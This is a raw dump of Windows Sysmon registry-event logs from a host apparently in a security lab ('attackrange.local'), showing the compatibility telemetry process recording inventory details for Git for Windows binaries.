14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlwf.exe|db82f10a63bc087f\BinProductVersion(Empty) 13241300x800000000000000037805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlwf.exe|db82f10a63bc087f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlwf.exe|db82f10a63bc087f\Publisher(Empty) 13241300x800000000000000037803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlwf.exe|db82f10a63bc087f\LowerCaseLongPathc:\program files\git\mingw64\bin\xmlwf.exe 13241300x800000000000000037802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmllint.exe|4edab855de35972b\BinProductVersion(Empty) 13241300x800000000000000037801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmllint.exe|4edab855de35972b\LinkDate01/01/1970 00:00:00 13241300x800000000000000037800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmllint.exe|4edab855de35972b\Publisher(Empty) 13241300x800000000000000037799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmllint.exe|4edab855de35972b\LowerCaseLongPathc:\program files\git\mingw64\bin\xmllint.exe 13241300x800000000000000037798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlcatalog.exe|ad3a3f621c028adc\BinProductVersion(Empty) 13241300x800000000000000037797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlcatalog.exe|ad3a3f621c028adc\LinkDate01/01/1970 00:00:00 13241300x800000000000000037796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlcatalog.exe|ad3a3f621c028adc\Publisher(Empty) 13241300x800000000000000037795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xmlcatalog.exe|ad3a3f621c028adc\LowerCaseLongPathc:\program files\git\mingw64\bin\xmlcatalog.exe 13241300x800000000000000037794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xgettext.exe|d70e9fbf1e3251f9\BinProductVersion(Empty) 13241300x800000000000000037793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xgettext.exe|d70e9fbf1e3251f9\LinkDate07/19/2029 06:51:46 13241300x800000000000000037792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xgettext.exe|d70e9fbf1e3251f9\Publisher(Empty) 13241300x800000000000000037791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xgettext.exe|d70e9fbf1e3251f9\LowerCaseLongPathc:\program files\git\usr\bin\xgettext.exe 13241300x800000000000000037790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xargs.exe|b26b4866fba2ace6\BinProductVersion(Empty) 13241300x800000000000000037789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xargs.exe|b26b4866fba2ace6\LinkDate01/01/1970 00:00:00 13241300x800000000000000037788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xargs.exe|b26b4866fba2ace6\Publisher(Empty) 13241300x800000000000000037787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xargs.exe|b26b4866fba2ace6\LowerCaseLongPathc:\program files\git\usr\bin\xargs.exe 13241300x800000000000000037786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|dda5875a0a94e702\BinProductVersion(Empty) 13241300x800000000000000037785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|dda5875a0a94e702\LinkDate01/01/1970 00:00:00 13241300x800000000000000037784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|dda5875a0a94e702\Publisher(Empty) 13241300x800000000000000037783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|dda5875a0a94e702\LowerCaseLongPathc:\program files\git\mingw64\bin\x86_64-w64-mingw32-deflatehd.exe 13241300x800000000000000037782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|d480e6241e2b429f\BinProductVersion(Empty) 13241300x800000000000000037781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|d480e6241e2b429f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|d480e6241e2b429f\Publisher(Empty) 13241300x800000000000000037779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|d480e6241e2b429f\LowerCaseLongPathc:\program files\git\mingw64\bin\x86_64-w64-mingw32-inflatehd.exe 13241300x800000000000000037778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|721349a4c3d19334\BinProductVersion(Empty) 13241300x800000000000000037777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|721349a4c3d19334\LinkDate01/01/1970 00:00:00 13241300x800000000000000037776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|721349a4c3d19334\Publisher(Empty) 13241300x800000000000000037775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\x86_64-w64-mingw|721349a4c3d19334\LowerCaseLongPathc:\program files\git\mingw64\bin\x86_64-w64-mingw32-agrep.exe 13241300x800000000000000037774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish86.exe|b43e477f47c04c0d\BinProductVersion8.6.2.11 13241300x800000000000000037773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish86.exe|b43e477f47c04c0d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish86.exe|b43e477f47c04c0d\Publisheractivestate corporation 13241300x800000000000000037771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish86.exe|b43e477f47c04c0d\LowerCaseLongPathc:\program files\git\mingw64\bin\wish86.exe 13241300x800000000000000037770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish.exe|387f467bcbc945b9\BinProductVersion8.6.2.11 13241300x800000000000000037769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish.exe|387f467bcbc945b9\LinkDate01/01/1970 00:00:00 13241300x800000000000000037768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish.exe|387f467bcbc945b9\Publisheractivestate corporation 13241300x800000000000000037767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.480{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wish.exe|387f467bcbc945b9\LowerCaseLongPathc:\program files\git\mingw64\bin\wish.exe 13241300x800000000000000037766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wintoast.exe|a56a902040daad41\BinProductVersion(Empty) 13241300x800000000000000037765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wintoast.exe|a56a902040daad41\LinkDate11/17/2017 22:11:01 13241300x800000000000000037764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wintoast.exe|a56a902040daad41\Publisher(Empty) 13241300x800000000000000037763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wintoast.exe|a56a902040daad41\LowerCaseLongPathc:\program files\git\mingw64\bin\wintoast.exe 13241300x800000000000000037762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty.exe|b62f1084964abfa7\BinProductVersion(Empty) 13241300x800000000000000037761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty.exe|b62f1084964abfa7\LinkDate06/19/2025 15:30:53 13241300x800000000000000037760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty.exe|b62f1084964abfa7\Publisher(Empty) 13241300x800000000000000037759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty.exe|b62f1084964abfa7\LowerCaseLongPathc:\program files\git\usr\bin\winpty.exe 13241300x800000000000000037758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-debugserv|fa3a25afb3dba9c5\BinProductVersion(Empty) 13241300x800000000000000037757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-debugserv|fa3a25afb3dba9c5\LinkDate05/08/2031 18:06:26 13241300x800000000000000037756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-debugserv|fa3a25afb3dba9c5\Publisher(Empty) 13241300x800000000000000037755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-debugserv|fa3a25afb3dba9c5\LowerCaseLongPathc:\program files\git\usr\bin\winpty-debugserver.exe 13241300x800000000000000037754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-agent.exe|f42c4e896f998b23\BinProductVersion(Empty) 13241300x800000000000000037753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-agent.exe|f42c4e896f998b23\LinkDate05/08/2031 18:06:26 13241300x800000000000000037752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-agent.exe|f42c4e896f998b23\Publisher(Empty) 13241300x800000000000000037751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\winpty-agent.exe|f42c4e896f998b23\LowerCaseLongPathc:\program files\git\usr\bin\winpty-agent.exe 13241300x800000000000000037750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whouses.exe|112098ea380b8223\BinProductVersion(Empty) 13241300x800000000000000037749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whouses.exe|112098ea380b8223\LinkDate01/01/1970 00:00:00 13241300x800000000000000037748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whouses.exe|112098ea380b8223\Publisher(Empty) 13241300x800000000000000037747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whouses.exe|112098ea380b8223\LowerCaseLongPathc:\program files\git\mingw64\bin\whouses.exe 13241300x800000000000000037746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whoami.exe|db400e84413562a4\BinProductVersion(Empty) 13241300x800000000000000037745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whoami.exe|db400e84413562a4\LinkDate01/01/1970 00:00:00 13241300x800000000000000037744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whoami.exe|db400e84413562a4\Publisher(Empty) 13241300x800000000000000037743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\whoami.exe|db400e84413562a4\LowerCaseLongPathc:\program files\git\usr\bin\whoami.exe 13241300x800000000000000037742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\who.exe|cb672bc7f4c40afb\BinProductVersion(Empty) 13241300x800000000000000037741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\who.exe|cb672bc7f4c40afb\LinkDate01/01/1970 00:00:00 13241300x800000000000000037740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\who.exe|cb672bc7f4c40afb\Publisher(Empty) 13241300x800000000000000037739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\who.exe|cb672bc7f4c40afb\LowerCaseLongPathc:\program files\git\usr\bin\who.exe 13241300x800000000000000037738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\which.exe|fd8a97b7fcb2af43\BinProductVersion(Empty) 13241300x800000000000000037737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\which.exe|fd8a97b7fcb2af43\LinkDate01/02/1970 12:24:32 13241300x800000000000000037736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\which.exe|fd8a97b7fcb2af43\Publisher(Empty) 13241300x800000000000000037735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\which.exe|fd8a97b7fcb2af43\LowerCaseLongPathc:\program files\git\usr\bin\which.exe 13241300x800000000000000037734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wc.exe|8047af858fdb6703\BinProductVersion(Empty) 13241300x800000000000000037733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 